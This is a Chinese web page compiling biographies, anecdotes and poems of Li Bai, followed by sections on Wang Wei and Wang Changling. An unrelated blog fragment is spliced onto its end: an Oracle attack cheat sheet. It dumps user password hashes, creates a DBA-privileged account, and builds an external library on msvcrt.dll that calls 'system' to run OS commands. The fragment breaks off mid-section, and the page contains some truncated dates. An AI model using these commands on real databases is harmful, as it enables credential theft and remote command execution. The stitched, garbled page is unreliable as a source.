下面是小编为大家整理的李白的详细资料（共含7篇），以供大家参考借鉴!同时，但愿您也能像本文投稿人“法兰绒睡袍”一样，积极向本站投稿分享好文章。
诗人李白详细资料
姓名由来
第一种说法：那是李白七岁时，父亲要给儿子起个正式的名字。李白的父母亲酷爱读书，他们要培养儿子做个高雅脱俗的人。父亲平时喜欢教孩子看书作诗，在酝酿起名之时，同母亲商量好了，就在庭院散步时考考儿子作诗的能力。
父亲看着春日院落中葱翠树木，似锦繁花，开口吟诗道：“春国送暖百花开，迎春绽金它先来。”母亲接着道：“火烧叶林红霞落”。李白知道父母吟了诗句的前三句，故意留下最后一句，希望自己接续下去。他走到正在盛开的李树花前，稍稍想了一下说：“李花怒放一树白”。
“白”——不正说出了李花的圣洁高雅吗?父亲灵机一动，决定把妙句的头尾“李”“白”二字选作孩子的名字，便为七岁的儿子取名为“李白”。
第二种说法：李阳冰的《草堂集》序中说：“逃归于蜀，复指李树而生伯阳。惊姜之夕，长庚入梦。故生而名白，以太白字之”。范传正的《唐左拾遗翰林学士李公新墓碑》中写道：“公之生也，先府君指天(李)枝以复姓，先夫人梦长庚而告祥，名之与字，咸取所象”。
从以上文献中我们不难看出，李白的姓名是其父回到蜀中给自己恢复了李姓后，为后来出世的李白取的名字，李母梦到太白金星后于是有了身孕，在阵痛难忍中生出李白，李白的名字就是根据这一梦境得来的。
唐朝长安元年，李白出生于武则天执政后期的公元7。李白少年时代的学习内容很广泛，除儒家经典、古代文史名著外，还浏览诸子百家之书。他很早就相信喜欢道教，喜欢隐居山林，求仙学道;同时又有建功立业的政治抱负。一方面要做超脱尘俗的隐士神仙，一方面要做君主的辅弼大臣，这就形成了出世与入世的矛盾。但积极入世、关心国家，是其一生思想的主流，也是构成他作品进步内容的思想基础。李白青少年时期在蜀地所写诗歌，留存很少，但像《访戴天山道士不遇》《峨眉山月歌》等篇，已显示出突出的才华。
李白搁笔
在黄鹤楼公园东边，有一亭名为“搁笔亭”，亭名取自“崔颢题诗李白搁笔”的一段佳话。唐代诗人崔颢登上黄鹤楼赏景写下了一首千古流传的名作：“昔人已乘黄鹤去，此地空余黄鹤楼。黄鹤一去不复返，白云千载空悠悠。晴川历历汉阳树，芳草萋萋鹦鹉洲。日暮乡关何处是，烟波江上使人愁。”
后来李白也登上黄鹤楼，放眼楚天，胸襟开阔，诗兴大发，正要提笔写诗时，却见崔颢的诗，自愧不如只好说：“一拳捶碎黄鹤楼, 一脚踢翻鹦鹉洲。眼前有景道不得，崔颢题诗在上头。”便搁笔不写了。有个少年丁十八讥笑李白：“黄鹤楼依然无恙，你是捶不碎了的。”李白又作诗辩解：“我确实捶碎了，只因黄鹤仙人上天哭诉玉帝，才又重修黄鹤楼，让黄鹤仙人重归楼上。”
实际上，李白热爱黄鹤楼，到了无以复加的程度，他高亢激昂，连呼“一忝青云客，三登黄鹤楼”。山川人文，相互倚重，崔颢题诗，李白搁笔，从此黄鹤楼之名更加显赫。后来，李白也仿照《黄鹤楼》写下《登金陵凤凰台》：“凤凰台上凤凰游，凤去台空江自流。吴宫花草埋幽径，晋代衣冠成古丘。三山半落青天外，一水中分白鹭洲。总为浮云能蔽日，长安不见使人愁。”
诗友挚情
●重访江东
李白离开东鲁，便从任城乘船，沿运河到了扬州。由于急着去会稽会见元丹丘，也就没有多滞留。到了会稽，李白首先去凭吊过世的贺知章。不久，孔巢父也到了会稽，于是李白和元丹丘、孔巢父畅游禹穴、兰亭等历史遗迹，泛舟镜湖，往来剡溪等处，当然也少不了在繁华都市会稽流连忘返。在金陵，李白遇见了崔成甫。两人都是政治上的失意者，情怀更加相投。每次游玩时，都尽情畅游，不计早晚。他们泛舟秦淮河，通宵达旦地唱歌，引得两岸人家不胜惊异，拍手为他们助兴。两人由于性格相投、遭遇相似，所以比之一般朋友更为默契，友情更深厚，因而李白把崔成甫的诗系在衣服上，每当想念，便吟诵一番。
●汪伦之情
唐天宝年间，汪伦听说大诗人李白旅居南陵叔父李冰阳家，便写信邀请李白到家中做客。信上说：“先生好游乎?此处有十里桃花。先生好饮乎?此处有万家酒店。”李白素好饮酒，又闻有如此美景，欣然应邀而至，却未见信中所言盛景。汪伦盛情款待，搬出用桃花潭水酿成的美酒与李白同饮，并笑着告诉李白：“桃花者，十里外潭水名也，并无十里桃花。万家者，开酒店的主人姓万，并非有万家酒店。”李白听后大笑不止，并不以为被愚弄，反而被汪伦的盛情所感动，适逢春风桃李花开日，群山无处不飞红，加之潭水深碧，清澈晶莹，翠峦倒映，汪伦留李白连住数日，每日以美酒相待，别时送名马八匹、官锦十端。李白在东园古渡乘舟欲往万村，登旱路去庐山，汪伦在古岸阁上设宴为李白饯行，并拍手踏脚，歌唱民间的《踏歌》相送。李白深深感激汪伦的盛意，作《赠汪伦》诗一首： 李白乘舟将欲行，忽闻岸上踏歌声。 桃花潭水深千尺，不及汪伦送我情。
●为白写序
李阳冰曾与伟大的浪漫诗人李白有过一段不平常的交往。唐肃宗时李白曾投身于永王李璘幕府帐下，因李璘丹阳起兵叛乱兵败，李白受到牵连，被治罪流放。后虽被大赦，但居无定所，穷困潦倒，流浪到当涂，李阳冰时任当涂县令，仰慕李白的文才和人品，得知李白遭遇后，毅然把李白在当涂安置下来，生活上给予多方照顾。李白死于当涂，终前，把一生诗作托付给李阳冰。李阳冰不负重托，便用精美的书法把书稿重新抄录编成《草堂集》20卷，还为诗集写了一篇序言。流传于世。李白的诗作所以能广为流传，除诗本身有很高的思想性和艺术性外，李阳冰编辑整理之功也是功不可没。
生死考证
关于李白的出生地，唐人所撰李白身世资料，最可信者，除魏颢、李阳冰分别为李白编集所写的序文外，再就是刘全白、范传正于李白身后为他写的碣记和碑序。“白本家陇西，乃放形，因家于绵。身既生蜀，则江山英秀。”(魏颢《李翰林集序》);“神龙之始逃归于蜀，复指李树而生伯阳;惊姜之夕长庚入梦，故生而名白，以太白字之。”(李阳冰《草堂集序》);“君名白，广汉人。”(刘全白《唐故翰林李君碣记》);“神龙之初，潜还广汉。...公之生也，先府君指天枝以复姓，先祖母梦长庚而告祥。”(范传正《唐左拾遗翰林学士李公新墓碑并序》)。魏称绵，李称蜀，刘、范称广汉。实则地点相同而有详略之别，魏、李、范三人均指明李白生于蜀中，为蜀中绵州(汉称广汉)人。20世纪70年代，郭沫若提出“碎叶”说。20世纪90年代以后，随着李白研究的深入，学术界普遍采纳李白生于绵州昌隆县青莲乡(今四川省江油市青莲镇)的说法。
安史之乱发生的第三年(756年)，他参加了永王李璘的幕府。永王与肃宗争夺帝位的'斗争兵败之后，李白受牵连，流放夜郎(今贵州境内)，途中遇赦写下《早发白帝城》。晚年投奔族叔当涂县令李阳冰，不久即病逝，也有说是：“醉致疾亡”，就是喝酒引发疾病而死(见皮日休《李翰林诗》)。也有说是单纯的喝酒猝死(见《旧唐书》)。也有说是醉酒入江中捉月溺死，这种说法古已有之且广为流传。
身世之谜
关于诗仙李太白的家世和身世，唐代当时就讳莫如深，特别是对其祖父、曾祖父，史料无一记载。李白自己很少谈及家世，偶有所及，也往往只提远祖，讳言近亲，闪烁其辞，故布疑阵。尽管如此，还是有人从历史的尘幕中看出了蛛丝马迹。最早提到此事的是唐梓州刺史于邵，他最早在李白故里立碑纪念，明末曹学全《蜀中名胜记》载有碑文内容：“白本宗室子，其先避地客蜀，居蜀之彰明，太白生焉”。接着提到此事的乃宋人杜田。
延至当代，才有《中国青年报》1985年7月28日所载兼葭《李白身世之谜》，转述台湾学者罗香林认为：李白乃李建成之后。韩维禄1988年撰文《李白“五世为庶”当为李建成玄孙解》论证李白乃唐宗室，李建成玄孙。持同样观点的徐本立1990年发表《李白为李渊五世孙考》亦认为李白应为凉武昭王十二世孙、太祖李虎七世孙、高祖李渊五世孙、太子建成玄孙。而朱秋德的《论李白的宗室情结及对其人生诸要素的影响》(《丝路学刊》第4期)，更对李白的身世及人生诸要素作出一番综合考察和评价，以期接近历史本来面目。
李白的研究者们主要引据的是李阳冰《草堂集序》和范传正《唐左拾遗翰林学士李公新墓碑并序》。李阳冰《草堂集序》作于李白同时，其中的身世内容当出自李白口授，范传正作《序》时有李白孙女陪范主持其祖父迁墓之事。
朱秋德在他的文章中说：“李白作为沦落民间的宗室之子的人生悲剧是命定的，是谁也无法解救的。祖先的血脉周流其身使他渴望有所作为，但祖先蒙受的罪孽又使他不敢有所作为;建功立业而又害怕暴露身世使他的精神和行为在庙堂之高和江湖之远间首鼠两端。他的一生就是在这种矛盾中，在祖先留下的物质财富和精神枷锁中度过的。他是戴着镣铐跳舞的人，而这镣铐世人看不见，只有他自己知道。”
李白的详细资料
李白的详细资料
李白 (701—762年)，唐朝，汉族，身高六尺六，字太白，号，四川江油人，唐代伟大的浪漫主义诗人。其诗风豪放飘逸，想象丰富，语言流转自然，音律和谐多变。他善于从民歌、神话中汲取营养素材，构成其特有的瑰丽绚烂的色彩，是屈原以来积极浪漫主义诗歌的新高峰，与杜甫并称“大李杜”，是唐代伟大的浪漫主义诗人，又称为“诗仙”。
李白祖籍陇西成纪（今甘肃省静宁县成纪乡），隋朝末年，迁徙到中亚碎叶城（今北部托克马克附近），李白即诞生于此。五岁时，其家迁入绵州彰明县（今四川 江油）。二十岁时只身出川，开始了广泛漫游，南到洞庭湘江，东至吴、越，寓居在安陆（今湖北省安陆市）。他到处游历，希望结交朋友，干谒社会名流，从而得到引荐，一举登上高位，去实现政治理想和抱负。可是，十年漫游，却一事无成。他又继续北上太原、长安，东到齐、鲁各地，并寓居山东任城（今山东济宁）。这时他已结交了不少名流，创作了大量优秀诗篇，诗名满天下。天宝初年，由道士吴人筠推荐，唐玄宗召他进京，命他供奉翰林。不久，因权贵的谗悔，于天宝三、四年间（公元 744或745年），被排挤出京。此后，他在江、淮一带盘桓，思想极度烦闷。
天宝十四年（公元755年）冬，安禄山叛乱，他这时正隐居庐山，适逢永王李遴的大军东下， 邀李白下山入幕府。后来李遴反叛肃宗，被消灭，李白受牵连，被判处流放夜郎（今贵州省境内），中途遇赦放还，往来于浔阳（今江西九江）、宣城（今安徽宣城）等地。代宗宝应元年（公元762年），病死于安徽当涂县。
李白生活在唐代极盛时期，具有“济苍生”、“安黎元”的进步理想，毕生为实现这一理想而奋斗。他的大量诗篇，既反映了那个时代的'繁荣气象，也揭露和批判了统治集团的荒淫和腐败，表现出蔑视权贵，反抗传统束缚，追求自由和理想的积极精神。在艺术上，他的诗想象新奇，感情强烈，意境奇伟瑰丽，语言清新明快，形成豪放、超迈的艺术风格，达到了我国古代积极浪漫主义诗歌艺术的高峰。存诗900余首，有。
其诗想象丰富，构思奇特，气势雄浑瑰丽，风格豪迈潇洒，是盛唐浪漫主义诗歌的代表人物。
推荐阅读：
故人西辞黄鹤楼，。
孤帆远影碧空尽，惟见长江天际流。
天门中断楚江开，碧水东流至此回。
两岸青山相对出，孤帆一片日边来。
凤凰台上凤凰游，凤去台空江自流。
吴宫花草埋幽径，晋代衣冠成古丘。
三山半落青天外，一水中分白鹭洲。
总为浮云能蔽日，长安不见使人愁。
谁家玉笛暗飞声，散入春风满洛城。
此夜曲中闻折柳，何人不起故园情。
日照香炉生紫烟，遥看瀑布挂前川。
飞流直下三千尺，疑是银河落九天。
朝辞白帝彩云间，千里江陵一日还。
两岸猿声啼不住，轻舟已过万重山。
静夜思
床前明月光，疑是地上霜。
举头望明月，低头思故乡。
赠汪伦
李白乘舟将欲行，忽闻岸上踏歌声。
桃花潭水深千尺，不及汪伦送我情。
月下独酌
花间一壶酒，独酌无相亲。
举杯邀明月，对影成三人。
月既不解饮，影徒随我身。
暂伴月将影，行乐须及春。
我歌月徘徊，我舞影零乱。
醒时同交欢，醉后各分散。
永结无情游，相期邈云汉。
把酒问月
青天有月来几时。 我今停杯一问之。
人攀明月不可得。 月行却与人相随。
皎如飞镜临丹阙。 绿烟灭尽清辉发。
但见宵从海上来。 宁知晓向云间没。
白兔捣药秋复春。 嫦娥孤栖与谁邻。
今人不见古时月。 今月曾经照古人。
古人今人若流水。 共看明月皆如此。
唯愿当歌对酒时。 月光长照金樽里。
侠客行
赵客缦胡缨，吴钩霜雪明。
银鞍照白马，飒沓如流星。
十步杀一人，千里不留行。
事了拂衣去，深藏身与名。
闲过信陵饮，脱剑膝前横。
将炙啖朱亥，持觞劝侯嬴。
三杯吐然诺，五岳倒为轻。
眼花耳热后，意气素霓生。
救赵挥金槌，邯郸先震惊。
千秋二壮士，煊赫大梁城。
纵死侠骨香，不惭世上英。
谁能书閤下，白首太玄经。
客中作
兰陵美酒郁金香， 玉碗盛来琥珀光。
但使主人能醉客， 不知何处是他乡。
「将进酒」
君不见黄河之水天上来，奔流到海不复回。
君不见高堂明镜悲白发，朝如青丝暮成雪。
人生得意须尽欢，莫使金樽空对月。天生我材必有用，
千金散尽还复来。烹羊宰牛且为乐，会须一饮三百杯。
岑夫子，丹丘生，将进酒，杯莫停。与君歌一曲，
请君为我倾耳听。钟鼓馔玉不足贵，但愿长醉不愿醒。
古来圣贤皆寂寞，惟有饮者留其名。陈王昔时宴平乐，
斗酒十千恣欢谑。主人何为言少钱，径须沽取对君酌。
五花马，千金裘，呼儿将出换美酒，与尔同销万古愁。
诗人李白的详细资料
诗人李白的详细资料
李白（ 72月8日-762年） ，字太白，号青莲居士。中国唐朝诗人，有“诗仙” ， “诗侠”之称。有《李太白集》传世，诗作中多以醉时写的，代表作有《望庐山瀑布》、《行路难》、《蜀道难》、《将进酒》、《梁甫吟》、《早发白帝城》等多首。
生平概述
李白（701年2月8日—762年12月） ， 字太白 ，号青莲居士 ，汉族，又号“谪仙人”（贺知章评李白，杜甫的《饮中八仙歌》也写李白“天子呼来不上船，自称臣是酒中仙”），彰明人 。祖籍陇西成纪（现甘肃省秦安县陇城） ，李白是其父从中原被贬中亚西域的碎叶城（今吉尔吉斯斯坦的托克马克市）所生 ，4岁再迁回四川绵州昌隆县（今四川省江油市），另一说法生于四川省江油市青莲乡 。我国唐代伟大的浪漫主义诗人 ，被后人尊称为“诗仙”，与杜甫并称为“李杜” 。
李白出生于盛唐时期 ，但他的一生 ，绝大部分却在漫游中度过 ，游历遍迹了大半个中国 。
二十岁时只身出川 ，开始了广泛漫游 ，南到洞庭湘江 ，东至吴、越 ，寓居在安陆（今湖北省安陆市）、应山（今湖北省广水市）。他到处游历 ，希望结交朋友 ，拜谒社会名流 ，从而得到引荐 ，一举登上高位 ，去实现政治理想和抱负 。可是 ，十年漫游 ，却一事无成 。他又继续北上太原、长安（今陕西西安），东到齐、鲁各地 ，并寓居山东任城（今山东济宁）。
这时他已结交了不少名流 ，创作了大量优秀诗篇。李白不愿应试做官 ，希望依靠自身才华，通过他人举荐走向仕途，但一直未得人赏识。他曾给当朝名士韩荆州写过一篇《与韩荆州书》，以此自荐 ，但未得回复。
直到天宝元年（742年），因道士吴筠的推荐 ，李白被召至长安 ，供奉翰林 ，文章风采 ，名震天下 。李白初因才气为玄宗所赏识 ，后因不能见容于权贵 ，在京仅三年，就弃官而去 ，仍然继续他那飘荡四方的流浪生活 。
安史之乱发生的第二年（756年） ，他感愤时艰 ，曾参加了永王李璘的幕府 。不幸 ，永王与肃宗发生了争夺帝位的斗争 ，兵败之后 ，李白受牵累 ，流放夜郎（今贵州境内），途中遇赦 。晚年漂泊东南一带 ，依当涂县令李阳冰（李白族叔），不久即病卒 。
李白的故事：李白跳月的故事
南京夫子庙前，有一座文德桥。听老辈人说，每逢冬月十五月亮当头的时候，站在桥头朝水上看，倒映在水里的月影子刚好分成两半：桥这边半个，桥那边半个。 圆圆的月亮影子，为什么会分成两半呢？这里有段故事。
传说唐朝大诗人李白，有一次到金陵（即今南京）来，在文德桥旁边的一座酒楼上歇脚。这天碰巧是冬月十五，到了晚上，他就独自坐在酒楼上赏月，一边喝酒，一边吟诗作赋。李白生平最喜爱月亮，说月亮又干净又好看。这天晚上，他抬头看见天上的月亮洁白滚圆，心里非常高兴，就多喝了几杯。到了半夜，李白趁着酒兴，下楼走到文德桥上。他刚走上桥，一低头，忽然看见月亮掉在水里了，河水一动，洁白的'月影上就添了几条黑纹。
李白这时喝得醉醺醺的，只当是月亮给河水弄脏了。他靴子也顾不得脱，张开双手就跳下桥去捞月亮。谁知这一跳，月亮没捞着，却把水里的月亮震破了，顿时分成了两半儿。故事就这样传下来了。后来人们在文德桥旁边修了个“得月台”，据说那里就是当年大诗人李白赏月的地方。
李白的故事：少年李白的故事
李白的父亲是位商人，做生意赚了不少钱，相当富裕。相传，李白小时候在四川象耳山读书。有一天逃学下山，经过一条小山涧，见到一位老奶奶在山洞旁磨铁棒。李白觉得很奇怪，走上前询问，老奶奶回答说要用铁棒磨针。一根粗铁棒要磨成一根细小的针谈何容易，但老奶奶信心十足，她说：“只要功夫深，铁棒磨成针。”从此以后李白就打消逃学念头，下功夫读书了。他既学文又习武，专门学习剑术。决心要做一个满腔侠义的“游侠”。
李白幼年时候记忆力特别好。诸子百家，佛经道书，无不过目成诵。据说他五岁就会诵写“六甲”，十岁能读诸子百家的书，懂得了不少天文、地理、历史、文学等各方面的知识。此外，他还学会了弹琴，唱歌，舞蹈。
一天，李白家中来了一位客人，风流儒雅，气概不凡，是当时很有名气的文人，这次是到蜀中来做官的。在长安，他早就听说李白的诗名，这次来到蜀中还未上任就前来拜访了。家人带他来到一条河边的柳树荫下，只见一个年幼的书生，头戴纶巾，佩一把宝剑，正在吟诗，同样是风流倜傥，卓越不群，诗人对这少年的喜欢之情油然而生。他又看了看少年李白的诗稿，先是吃惊，后是赞叹，最后竟是击节拊掌了，他说：“小家伙的文辞简直可以和司马相如平分秋色啊！好好写吧，中国第二个屈原就要横空出世了。”
李白自小志趣远大，禀性高洁。当时的读书人要想求取功名，都去参加进士考试。李白想，大丈夫在世，要做就做个国家栋梁，否则就一辈子只当一个平民百姓。他常常自比谢安，相信总有一天会“长风破浪会有时，直挂云帆济沧海”。
李白少年时代的诗歌留下来不多，比较早的一篇是《访戴天山道士不遇》。说的是有一天李白到深山的道观中去寻访一位道士。时值初春季节，桃花正带露开放，飞瀑流泉，野竹小鹿，山中景色确实美不胜收。然而道士却始终没有回来，从早晨到下午，一直见不到人影，他只好悻悻而归了。回到家后愈想愈觉得那道士真是如同不食人间烟火的神人，再也按捺不住诗兴。
王维(701年-761年，一说6—761年)，字摩诘，汉族，河东蒲州(今山西运城)人，祖籍山西祁县，唐朝诗人，有“诗佛”之称。苏轼评价其：“味摩诘之诗，诗中有画;观摩诘之画，画中有诗。”开元九年(7)中进士，任太乐丞。王维是盛唐诗人的代表，今存诗400余首，重要诗作有《相思》《山居秋暝》等。王维精通佛学，受禅宗影响很大。佛教有一部《维摩诘经》，是王维名和字的由来。王维诗书画都很有名，非常多才多艺，音乐也很精通。与孟浩然合称“王孟”。
【生平事迹】
王维(701-761)，字摩诘，号摩诘居士，世称“王右丞”，唐朝著名诗人、画家。因笃信佛教，又被称为“诗佛”。
公元701年，生于蒲州(今运城永济市)。开元九年(721年)，中进士，任太乐丞，因伶人舞黄狮子受累，贬为济州司仓参军。开元二十三年，张九龄执政，擢为右拾遗，次年迁监察御史，后奉命出塞，为凉州河西节度幕判官。此后半官半隐居。安史之乱被捕后被迫出任伪职，战乱平息后下狱。因被俘时曾作《凝碧池》抒发亡国之痛和思念朝廷之情，又因其弟王缙平反有功请求削籍为兄赎罪，得宽宥，降为太子中允，后兼迁中书舍人，终尚书右丞。
他才华早显，既是诗匠，又精禅理。生在一个虔诚佛教的家庭里，据其《请施庄为寺表》云：“臣亡母故博陵县君崔氏，师事大照禅师三十余岁。”《王右丞集笺注》卷二五，有一篇《大荐福寺大德道光禅师塔铭》，文中述及了诗人同当代名僧道光禅师的关系时说：“维十年座下.“可见王维确实也与佛家因缘不浅，其晚年更是过着僧侣般的生活。据《旧唐书》记载：“在京师，长斋，不衣文俯伏受教，欲以毫末度量虚空，无有是处，志其舍利所在而已，”采，日饭十数名僧，以玄谈为乐，斋中无所有，惟茶铛药臼，经案绳床而已。退朝之后，焚香独坐，以禅颂为事。”此时的王维俨然是一僧侣了。
与其小一岁的弟弟缙幼年均聪明过人。十五岁时去京城应试，由于他能写一手好诗，工于书画，而且还有音乐天赋，所以少年王维一至京城便立即成为京城王公贵族的宠儿。有关他在音乐上的天赋，《唐国史补》曾有这样一段故事：一次，一个人弄到一幅奏乐图，但不知为何题名。王维见后回答说 ：“这是《霓裳羽衣曲》的第三叠第一拍。”请来乐师演奏，果然分毫不差(根据沈括《梦溪笔谈》卷十七“书画”的考证，《霓裳羽衣曲》第三叠并没有拍，是散曲，白居易的句子“中序擘騞初入拍”也可以说明这一点。沈括精通音律，其言可信。王维工于音律，是正史所载之事，但这个故事却是编造的)。
在诗歌方面，有他十五、十七、十八岁时写成的有文字记载的资料。可见，他在十几岁时已经是位有名的诗人了。这在诗人中是罕见的。当时，在那贵族世袭的社会中，像王维这样多才多艺的资质，自然会深受赞赏。因此，二十一岁时就考中了进士。
出仕后，王维利用官僚生活的空余时间，在京城的南蓝田山麓修建了一所别墅，以修养身心。该别墅原为初唐诗人宋之问所有，那是一座很宽阔的去处，有山有湖，有林子也有溪谷，其间散布着若干馆舍。王维在这时和他的知心好友度着悠闲自在的生活。这就是他的半官半隐的生活情况。
一直过着舒服的生活的王维，到了晚年却被卷入意外的波澜当中。玄宗天宝十四年(755)爆发了安史之乱。在战乱中他被贼军捕获，被迫当了伪官。而这在战乱平息后却成了严重问题，他因此被交付有司审讯。按理投效叛军当斩，幸其在乱中曾写过思慕天子的诗，加上当时任刑部侍郎的弟弟(曾跟随皇帝出逃)的求情，恳请将其官职等换其兄性命，王维才得免于难，仅受贬官处分。其后，又升至尚书右丞之职。
王维早年有过积极的政治抱负，希望能作出一番大事业，后值政局变化无常而逐渐消沉下来，吃斋念佛。四十多岁的时候，他特地在长安东南的蓝田县辋川营造了别墅和在终南山上，过着半官半隐的生活。《辋川闲居赠裴秀才迪》这首诗是他隐居生活中的一个篇章，主要内容是“言志”，写诗人远离尘俗，继续隐居的愿望。诗中写景并不刻意铺陈，自然清新，如同信手拈来，而淡远之境自见，大有渊明遗风。王维在诗歌上的成就是多方面的，无论边塞、山水诗、律诗还是绝句等都有流传人口的佳篇。
【绘画成就】
王维不但有卓越的文学才能，而且是出色的画家，还擅长音乐。深湛的艺术修养，对于自然的爱好和长期山林生活的.经历，使他对自然美具有敏锐独特而细致入微的感受，因而他笔下的山水景物特别富有神韵，常常是略事渲染，便表现出深长悠远的意境，耐人玩味。他的诗取景状物，极有画意，色彩映衬鲜明而优美，写景动静结合，尤善于细致地表现自然界的光色和音响变化。例如“声喧乱石中，色静深松里”(《青溪》)、“泉声咽危石，日色冷青松”(《过香积寺》)以及《鸟鸣涧》、《鹿柴》、《木兰柴》等诗，都有体物入微之作。王维诗《九月九日忆山东兄弟》插图 选自清代光绪刻本《名家画稿》。并著有绘画理论著作《山水论》，《山水诀》。
【诗歌评述】
1.山水田园诗
王维的大多数诗都是山水田园之作，在描绘自然美景的同时，流露出闲居生活中闲逸萧散的情趣。王维的写景诗篇，常用五律和五绝的形式，篇幅短小，语言精美，音节较为舒缓，用以表现幽静的山水和诗人恬适的心情，尤为相宜。王维从中年以后日益消沉，在佛理和山水中寻求寄托，他自称“一 悟寂为乐，此生闲有余”(《饭覆釜山僧》)。这种心情充分反映于他的诗歌创作之中。过去时代不少人推崇王维此类诗歌，一方面固然由于它们具有颇高的艺术技巧，一方面也由于对其中体现的闲情逸致和消极思想产生共鸣。明代胡应麟称王维五绝“却入禅宗”，又说《鸟鸣涧》、《辛夷坞》二诗，“读之身世两忘，万念皆寂”(《诗薮》)，便是一个明证。雪景 传为王维作 王维其他题材的作品，如送别、纪行之类的诗中，也经常出现写景佳句，如“远树带行客，孤城当落晖”(《送綦毋潜落第还乡》)、“山中一夜雨，树杪百重泉”(《送梓州李使君》)、“日落江湖白，潮来天地青”(《送邢桂州》)、“大漠孤烟直，长河落日圆”(《使至塞上》)等，都是传诵不衰的名句。
2.边塞军旅诗
以军旅和边塞生活为题材的《从军行》、《陇西行》、《燕支行》、《观猎》、《使至塞上》、《出塞作》等，都是壮阔飞动之作。《陇头吟》、《老将行》则抒发了将军有功不赏的悲哀，反映了封建统治阶级内部矛盾的一个侧面。《观猎》生动地描写了打猎时的情景。《夷门歌》歌咏历史人物的侠义精神。《少年行》四首表现侠少的勇敢豪放，形象鲜明，笔墨酣畅。这些作品一般认为是王维早期所作。还有一些诗歌，如贬官济州时所作《济上四贤咏》以及《寓言》、《不遇咏》和后期所作《偶然作》六首之五《赵女弹箜篌》，对于豪门贵族把持仕途、才士坎坷不遇的不合理现象表示愤慨，反映了开元、天宝时期封建政治的某些阴暗面。《洛阳女儿行》、《西施咏》、《竹里馆》则以比兴手法，寄托了因贵贱不平而生的感慨和对权贵的讽刺。还有抒写妇女痛苦的《息夫人》、《班婕妤》等，悲惋深沉，也具有一定的社会意义。一些赠送亲友和描写日常生活的抒情小诗，如《送别》“山中相送罢”、《临高台送黎拾遗》、《送元二使安西》、《送沈子福之江东》，《九月九日忆山东兄弟》、《相思》、《杂诗》“君自故乡来”等，千百年来传诵人口;《送元二使安西》、《相思》等在当时即播为乐曲，广为传唱。这些小诗都是五言或七言绝句，感情真挚，语言明朗自然，不用雕饰，具有淳朴深厚之美，可与李白、王昌龄的绝句比美，代表了盛唐绝句的最高成就。
王昌龄家境比较贫寒，开元十五年进士及第，授秘书省校书郎(官汜水尉校书郎)，后贬龙标尉，世称“王龙标”。开元二十二年(734年)，王昌龄选博学宏词科，超绝群伦，于是改任汜水县尉，再迁为江宁丞。
开元二十八年(740年)王昌龄北归，游襄阳，访著名诗人孟浩然。孟浩然患疽病，快痊愈了，两人见面后非常高兴，孟浩然由于吃了些许海鲜而痈疽复发，竟因此而死，在这时期，王昌龄又结识了大诗人李白，有《巴陵送李十二》诗，还有《闻王昌龄左迁龙标遥有此寄》。与孟浩然、李白这样当时第一流的诗人相见，对王昌龄来说，自是一大乐事，可惜与孟浩然一见，竟成永诀，与李白相见，又都在贬途。当时李白正流放夜郎。
开元二十八年(740年)冬，王昌龄离京赴江宁丞任，此时已与名诗人岑参相识，岑参有《送王大昌龄赴江宁》诗，王昌龄也有诗留别。途经洛阳时，又与綦毋潜、李颀等诗人郊游，也都有留诗。
王昌龄作为一代诗杰，流传下来的资料却很少。除了上文所说被贬岭南外，还曾遭过贬，具体时间和原因也不太清楚，有人认为在天宝六载秋。《詹才子传》说他“晚途不谨小节，谤议沸腾，两窜遐荒”。《河岳英灵集》说他“再历遐荒”，《旧唐书》本传也说他“不护细行，屡见贬斥”，被贬为龙标尉。但后来连龙标尉这样一小小的职务也没能保住，离任而去，迂回至亳州，竟为刺史闾丘晓所杀。《唐才子传》载：王昌龄“以刀火之际归乡里，为刺史闾丘晓所忌而杀。后张镐按军河南，晓衍期，将戮之，辞以亲老，乞恕，镐曰：‘王昌龄之亲欲与谁养乎?’晓大渐沮。”一向同情诗人的张镐终替王昌龄报了仇。
王昌龄是盛唐诗坛一著名诗人，当时即名重一时，被称为“诗家夫子王昌龄”。因为诗名早着，所以与当时名诗人交游颇多，交谊很深，除上文谈到与李白、孟浩然的交游外，还同高适、綦毋潜、李颀、岑参、王之涣、王维、储光羲、常建等都有交谊。他因数次被贬，在荒僻的岭南和湘西生活过，也曾来往于经济较为发达的中原和东南地区，并曾远赴西北边地，甚至可能去过碎叶(在今吉尔吉斯斯坦)一带。因他有丰富的生活经历和广泛的交游，对他的诗歌创作大有好处。王昌龄擅长七言绝句，被后世称为七绝圣手。如《出塞》诗：“秦时明月汉时关，万里长征人未还。但使龙城飞将在，不教胡马度阴山。”慨叹守将无能，意境开阔，感情深沉，有纵横古今的气魄，确实为古代诗歌中的珍品，被誉为唐人七绝的压卷之作。又如《从军行》等，也都为脍炙人口的名作。反映宫女们不幸遭遇的《长信秋词》、《西宫春怨》等，格调哀怨，意境超群，抒写思妇情怀和少女天真的《闺怨》、《采莲曲》等，文笔细腻生动，清新优美。送别之作《芙蓉楼送辛渐》同样为千古名作。沈德潜《唐诗别裁》说：“龙标绝句，深情幽怨，意旨微茫，令人测之无端，玩之无尽。”闾丘晓因忌才而杀害了王昌龄，是对我国古代诗歌的一大破坏。王昌龄留下了许许多多的边塞诗流传千古。
惘然's Blog
第一部分
基本查询指令
程序代码
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\查询当前用户角色
select * from user_sys_privs\查询当前用户系统权限
select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\查系统权限
grant select any dictionary to system with admin option;\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\建用户bob密码iloveyou
grant dba to bob;\赋予bob DBA权限
grant execute on xmldom to bob \赋予用户execute
Create ROLE ”javauserpriv“ NOT IDENTIFIED
Create ROLE ”javasyspriv“ NOT IDENTIFIED \当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \检查那些用户有DBA权限
select * from dba_directories;\查看路径所在目录
第二部分,创建java,执行系统命令
程序代码
Create or REPLACE LIBRARY exec_shell AS 'c:windowssystem32msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME ”system“
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
上面这个没有回显的
如果不行可以使用下面这个
程序代码
